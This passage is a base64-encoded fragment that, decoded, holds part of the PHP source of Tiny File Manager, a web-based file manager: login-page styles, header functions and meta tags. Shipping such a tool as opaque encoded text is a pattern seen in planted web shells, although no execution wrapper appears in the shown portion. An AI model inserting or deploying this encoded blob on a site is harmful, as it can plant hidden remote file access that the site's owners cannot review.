AzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDL3BhdGglM0UlM0Mvc3ZnJTNFIik7fQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZHsgd2lkdGg6MTIxcHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbjowIGF1dG87cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoxfQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCBpbWd7IHdpZHRoOjEwMCV9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlcnsgd2lkdGg6MzYwcHg7bWFyZ2luLXRvcDoxMCU7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmR7IGJvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgNHB4IDhweCByZ2JhKDAsMCwwLC4wNSl9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtdGl0bGV7IG1hcmdpbi1ib3R0b206MS41cmVtO2ZvbnQtc2l6ZToyNHB4O2ZvbnQtd2VpZ2h0OjQwMDt9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tY29udHJvbHsgYm9yZGVyLXdpZHRoOjIuM3B4fQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWdyb3VwIGxhYmVseyB3aWR0aDoxMDAlfQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NreyBwYWRkaW5nOjEycHggMTBweH0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuZm9vdGVyeyBtYXJnaW46NDBweCAwO2NvbG9yOiM4ODg7dGV4dC1hbGlnbjpjZW50ZXJ9CiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo0MjVweCl7CiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXdyYXBwZXJ7IHdpZHRoOjkwJTttYXJnaW46MCBhdXRvO21hcmdpbi10b3A6MTAlO30KICAgICAgICB9CiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDozMjBweCl7CiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLmZhdHsgcGFkZGluZzowfQogICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQgLmNhcmQtYm9keXsgcGFkZGluZzoxNXB4fQogICAgICAgIH0KICAgICAgICAubWVzc2FnZXsgcGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZ9CiAgICAgICAgLm1lc3NhZ2Uub2t7IGJvcmRlci1jb2xvcjpncmVlbjtjb2xvcjpncmVlbn0KICAgICAgICAubWVzc2FnZS5lcnJvcnsgYm9yZGVyLWNvbG9yOnJlZDtjb2xvcjpyZWR9CiAgICAgICAgLm1lc3NhZ2UuYWxlcnR7IGJvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlfQogICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO30KICAgICAgICAudGhlbWUtZGFyayBzdmcgZywgLnRoZW1lLWRhcmsgc3ZnIHBhdGgge2ZpbGw6ICNmZmZmZmY7IH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gImRhcmsiKSA/ICd0aGVtZS1kYXJrJyA6ICcnOyA/PiI+CjxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPgoKICAgIDw/cGhwCiAgICB9CgogICAgLyoqCiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm0KICAgICAqLwogICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKQogICAgewogICAgPz4KPC9kaXY+Cjw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz4KPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfQoKLyoqCiAqIFNob3cgSGVhZGVyIGFmdGVyIGxvZ2luCiAqLwpmdW5jdGlvbiBmbV9zaG93X2hlYWRlcigpCnsKJHNwcml0ZXNfdmVyID0gJzIwMTYwMzE1JzsKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwpoZWFkZXIoIkV4cGlyZXM6IFNhdCwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7CmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiKTsKaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CgpnbG9iYWwgJGxhbmcsICRyb290X3VybCwgJHN0aWNreV9uYXZiYXIsICRmYXZpY29uX3BhdGg7CiRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ25hdmJhci1maXhlZCcgOiAnbmF2YmFyLW5vcm1hbCc7Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXIiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJDQ1AgUHJvZ3JhbW1lcnMiPgogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyI+CiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPgogICAgPD9waHAgaWYoJGZhdmljb25fcGF0aCkgeyBlY2hvICc8bGluayByZWw9Imljb24iIGhyZWY9IicuZm1fZW5jKCRmYXZpY29uX3BhdGgpLiciIHR5cGU9ImltYWdlL3BuZyI+JzsgfSA/PgogICAgPHRpdGxlPjw/cGhwIGVjaG8gZm1fZW5jKEFQUF9USVRMRSkgPz48L3RpdGxlPgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+CiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1mb250LWF3ZXNvbWUnKTsgPz4KICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+d2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Jzs8L3NjcmlwdD4KICAgIDxzdHlsZT4KICAgICAgICBodG1sIHsgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTsgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7IHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7IGhlaWdodDogMTAwJTsgc2Nyb2xsLWJlaGF2aW9yOiBzbW9vdGg7fQogICAgICAgICosKjo6YmVmb3JlLCo6OmFmdGVyIHsgYm94LXNpemluZzogYm9yZGVyLWJveDt9CiAgICAgICAgYm9keSB7IGZvbnQtc2l6ZToxNXB4OyBjb2xvcjojMjIyO2JhY2tncm91bmQ6I0Y3RjdGNzsgfQogICAgICAgIGJvZHkubmF2YmFyLWZpeGVkIHsgbWFyZ2luLXRvcDo1NXB4OyB9CiAgICAgICAgYSwgYTpob3ZlciwgYTp2aXNpdGVkLCBhOmZvY3VzIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDsgfQogICAgICAgIC5maWxlbmFtZSwgdGQsIHRoIHsgd2hpdGUtc3BhY2U6bm93cmFwICB9CiAgICAgICAgLm5hdmJhci1icmFuZCB7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0KICAgICAgICAubmF2LWl0ZW0uYXZhdGFyIGEgeyBjdXJzb3I6cG9pbnRlcjt0ZXh0LXRyYW5zZm9ybTpjYXBpdGFsaXplOyB9CiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhID4gaSB7IGZvbnQtc2l6ZToxNXB4OyB9CiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciAuZHJvcGRvd24tbWVudSBhIHsgZm9udC1zaXplOjEzcHg7IH0KICAgICAgICAjc2VhcmNoLWFkZG9uIHsgZm9udC1zaXplOjEycHg7Ym9yZGVyLXJpZ2h0LXdpZHRoOjA7IH0KICAgICAgICAuYnJsLTAgeyBiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JvcmRlci1sZWZ0OjA7IGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7IGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDA7IH0KICAgICAgICAuYnJyLTAgeyBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7IH0KICAgICAgICAuYnJlYWQtY3J1bWIgeyBjb2xvcjojY2NjY2NjO2ZvbnQtc3R5bGU6bm9ybWFsOyB9CiAgICAgICAgI21haW4tdGFibGUgeyB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLHdpZHRoIDBzIC4yNXM7fQogICAgICAgICNtYWluLXRhYmxlIC5maWxlbmFtZSBhIHsgY29sb3I6IzIyMjIyMjsgfQogICAgICAgIC50YWJsZSB0ZCwgLnRhYmxlIHRoIHsgdmVydGljYWwtYWxpZ246bWlkZGxlICFpbXBvcnRhbnQ7IH0KICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LCAudGFibGUgLmN1c3RvbS1jaGVja2JveC1oZWFkZXIgLmN1c3RvbS1jb250cm9sLmN1c3RvbS1jaGVja2JveCB7IG1pbi13aWR0aDoxOHB4OyBkaXNwbGF5OiBmbGV4O2FsaWduLWl0ZW1zOiBjZW50ZXI7IGp1c3RpZnktY29udGVudDogY2VudGVyOyB9CiAgICAgICAgLnRhYmxlLXNtIHRkLCAudGFibGUtc20gdGggeyBwYWRkaW5nOi40cmVtOyB9CiAgICAgICAgLnRhYmxlLWJvcmRlcmVkIHRkLCAudGFibGUtYm9yZGVyZWQgdGggeyBib3JkZXI6MXB4IHNvbGlkICNmMWYxZjE7IH0KICAgICAgICAuaGlkZGVuIHsgZGlzcGxheTpub25lICB9CiAgICAgICAgcHJlLndpdGgtaGxqcyB7IHBhZGRpbmc6MDsgb3ZlcmZsb3c6IGhpZGRlbjsgIH0KICAgICAgICBwcmUud2l0aC1obGpzIGNvZGUgeyBtYXJnaW46MDtib3JkZXI6MDtvdmVyZmxvdzpzY3JvbGw7ICB9CiAgICAgICAgY29kZS5tYXhoZWlnaHQsIHByZS5tYXhoZWlnaHQgeyBtYXgtaGVpZ2h0OjUxMnB4ICB9CiAgICAgICAgLmZhLmZhLWNhcmV0LXJpZ2h0IHsgZm9udC1zaXplOjEuMmVtO21hcmdpbjowIDRweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Y29sb3I6I2VjZWNlYyAgfQogICAgICAgIC5mYS5mYS1ob21lIHsgZm9udC1zaXplOjEuM2VtO3ZlcnRpY2FsLWFsaWduOmJvdHRvbSAgfQogICAgICAgIC5wYXRoIHsgbWFyZ2luLWJvdHRvbToxMHB4ICB9CiAgICAgICAgZm9ybS5kcm9wem9uZSB7IG1pbi1oZWlnaHQ6MjAwcHg7Ym9yZGVyOjJweCBkYXNoZWQgIzAwN2JmZjtsaW5lLWhlaWdodDo2cmVtOyB9CiAgICAgICAgLnJpZ2h0IHsgdGV4dC1hbGlnbjpyaWdodCAgfQogICAgICAgIC5jZW50ZXIsIC5jbG9zZSwgLmxvZ2luLWZvcm0sIC5wcmV2aWV3LWltZy1jb250YWluZXIgeyB0ZXh0LWFsaWduOmNlbnRlciAgfQogICAgICAgIC5tZXNzYWdlIHsgcGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmYgIH0KICAgICAgICAubWVzc2FnZS5vayB7IGJvcmRlci1jb2xvcjpncmVlbjtjb2xvcjpncmVlbiAgfQogICAgICAgIC5tZXNzYWdlLmVycm9yIHsgYm9yZGVyLWNvbG9yOnJlZDtjb2xvcjpyZWQgIH0KICAgICAgICAubWVzc2FnZS5hbGVydCB7IGJvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlICB9CiAgICAgICAgLnByZXZpZXctaW1nIHsgbWF4LXdpZHRoOjEwMCU7bWF4LWhlaWdodDo4MHZoO2JhY2tncm91bmQ6dXJsKGRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBSUFBQUNRa1dnMkFBQUFLa2xFUVZSNDJtTDUvLzgvQXpidytQRmpyT0pNRENTQ1VRM0VBQlpjNFMwckt6c2FTdlRUQUJCZ0FNeWZDTXNZNEI5aUFBQUFBRWxGVGtTdVFtQ0MpO2N1cnNvcjp6b29tLWluIH0KICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF0geyBkaXNwbGF5Om5vbmUgfQogICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XTpjaGVja2VkIH4gbGFiZWwgPiBpbWcgeyBtYXgtd2lkdGg6bm9uZTttYXgtaGVpZ2h0Om5vbmU7Y3Vyc29yOnpvb20tb3V0IH0KICAgICAgICAuaW5saW5lLWFjdGlvbnMgPiBhID4gaSB7IGZvbnQtc2l6ZToxZW07bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQ6IzM3ODVjMTtjb2xvcjojZmZmO3BhZGRpbmc6M3B4IDRweDtib3JkZXItcmFkaXVzOjNweDsgfQogICAgICAgIC5wcmV2aWV3LXZpZGVvIHsgcG9zaXRpb246cmVsYXRpdmU7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OjA7cGFkZGluZy1ib3R0b206NjIuNSU7bWFyZ2luLWJvdHRvbToxMHB4ICB9CiAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8geyBwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2xlZnQ6MDt0b3A6MDtiYWNrZ3JvdW5kOiMwMDAgIH0KICAgICAgICAuY29tcGFjdC10YWJsZSB7IGJvcmRlcjowO3dpZHRoOmF1dG8gIH0KICAgICAgICAuY29tcGFjdC10YWJsZSB0ZCwgLmNvbXBhY3QtdGFibGUgdGggeyB3aWR0aDoxMDBweDtib3JkZXI6MDt0ZXh0LWFsaWduOmNlbnRlciAgfQogICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHsgYmFja2dyb3VuZC1jb2xvcjojZmZmICB9CiAgICAgICAgLmZpbGVuYW1lIHsgbWF4LXdpZHRoOjQyMHB4O292ZXJmbG93OmhpZGRlbjt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzICB9CiAgICAgICAgLmJyZWFrLXdvcmQgeyB3b3JkLXdyYXA6YnJlYWstd29yZDttYXJnaW4tbGVmdDozMHB4ICB9CiAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHsgY29sb3I6IzdkN2Q3ZCAgfQogICAgICAgIC5icmVhay13b3JkICsgLmZsb2F0LXJpZ2h0IHsgcGFkZGluZy1yaWdodDozMHB4O3Bvc2l0aW9uOnJlbGF0aXZlICB9CiAgICAgICAgLmJyZWFrLXdvcmQgKyAuZmxvYXQtcmlnaHQgPiBhIHsgY29sb3I6IzdkN2Q3ZDtmb250LXNpemU6MS4yZW07bWFyZ2luLXJpZ2h0OjRweCAgfQogICAgICAgICNlZGl0b3IgeyBwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDoxNXB4O3RvcDoxMDBweDtib3R0b206MTVweDtsZWZ0OjE1cHggIH0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDo0ODFweCkgewogICAgICAgICAgICAjZWRpdG9yIHsgdG9wOjE1MHB4OyB9CiAgICAgICAgfQogICAgICAgICNub3JtYWwtZWRpdG9yIHsgYm9yZGVyLXJhZGl1czozcHg7Ym9yZGVyLXdpZHRoOjJweDtwYWRkaW5nOjEwcHg7b3V0bGluZTpub25lOyB9CiAgICAgICAgLmJ0bi0yIHsgcGFkZGluZzo0cHggMTBweDtmb250LXNpemU6c21hbGw7IH0KICAgICAgICBsaS5maWxlOmJlZm9yZSxsaS5mb2xkZXI6YmVmb3JlIHsgZm9udDpub3JtYWwgbm9ybWFsIG5vcm1hbCAxNHB4LzEgRm9udEF3ZXNvbWU7Y29udGVudDoiXGYwMTYiO21hcmdpbi1yaWdodDo1cHggfQogICAgICAgIGxpLmZvbGRlcjpiZWZvcmUgeyBjb250ZW50OiJcZjExNCIgfQogICAgICAgIGkuZmEuZmEtZm9sZGVyLW8geyBjb2xvcjojMDE1N2IzIH0KICAgICAgICBpLmZhLmZhLXBpY3R1cmUtbyB7IGNvbG9yOiMyNmI5OWEgfQogICAgICAgIGkuZmEuZmEtZmlsZS1hcmNoaXZlLW8geyBjb2xvcjojZGE3ZDdkIH0KICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7IGNvbG9yOmluaGVyaXQgfQogICAgICAgIGkuZmEuZmEtY3NzMyB7IGNvbG9yOiNmMzZmYTAgfQogICAgICAgIGkuZmEuZmEtZmlsZS1jb2RlLW8geyBjb2xvcjojMDA3YmZmIH0KICAgICAgICBpLmZhLmZhLWNvZGUgeyBjb2xvcjojY2M0YjRjIH0KICAgICAgICBpLmZhLmZhLWZpbGUtdGV4dC1vIHsgY29sb3I6IzAwOTZlNiB9CiAgICAgICAgaS5mYS5mYS1odG1sNSB7IGNvbG9yOiNkNzVlNzIgfQogICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHsgY29sb3I6IzA5YzU1ZCB9CiAgICAgICAgaS5mYS5mYS1maWxlLXBvd2VycG9pbnQtbyB7IGNvbG9yOiNmNjcxMmUgfQogICAgICAgIGkuZ28tYmFjayB7IGZvbnQtc2l6ZToxLjJlbTtjb2xvcjojMDA3YmZmOyB9CiAgICAgICAgLm1haW4tbmF2IHsgcGFkZGluZzowLjJyZW0gMXJlbTtib3gtc2hhZG93OjAgNHB4IDVweCAwIHJnYmEoMCwgMCwgMCwgLjE0KSwgMCAxcHggMTBweCAwIHJnYmEoMCwgMCwgMCwgLjEyKSwgMCAycHggNHB4IC0xcHggcmdiYSgwLCAwLCAwLCAuMikgIH0KICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIgeyBkaXNwbGF5Om5vbmU7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmcgeyBjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXIgcmlnaHQ7YmFja2dyb3VuZC1pbWFnZTp1cmwoJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcS9RQ00xb05pSmlkd294MDM1NW1YbkcvRHJFdElRNmF6aW9OWlF4STB5a1BoVFFJd2hDUitCbUJZdGxLN2tMSll3V0NjSkE5TTRxZHJacmQ4cFBqWldQdE9xZFJReTMyMFlTVjE3T2F0RkM0ZXV0czZ6MzlHWU1LUlBDVEtZOVVuUFE2UCtHdE1SZkd0UG5CQ2lxaEFlSlBta3FBQUFBQUVsRlRrU3VRbUNDJyk7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmdfYXNjIHsgY3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyIHJpZ2h0O2JhY2tncm91bmQtaW1hZ2U6dXJsKCdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJNQUFBQVRDQVlBQUFCeVVEYk1BQUFBWjBsRVFWUTR5Mk5nR0xLZ3F1RXVGeEJQQUdJMmFoaFdDc1MvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmdfZGVzYyB7IGN1cnNvcjpwb2ludGVyO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciByaWdodDtiYWNrZ3JvdW5kLWltYWdlOnVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkEvQk9JdjJQQklQRkVVZ3hqQitJZFFQd2ZDOTRIeEx5a3VzNEdpRCtoR2ZRT2lCM0o4U29qRUU5RU0yd3VTSnpjc0ZNRzR0dFFneDREc1JhbGtaRU54TCtBdUpRYU1jc0d4Qk9BbUd2b3BrOEFWejFzTFpnZzBic0FBQUFBU1VWT1JLNUNZSUk9Jyk7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7IGJhY2tncm91bmQtaW1hZ2U6bm9uZTsgfQogICAgICAgIC5mb290ZX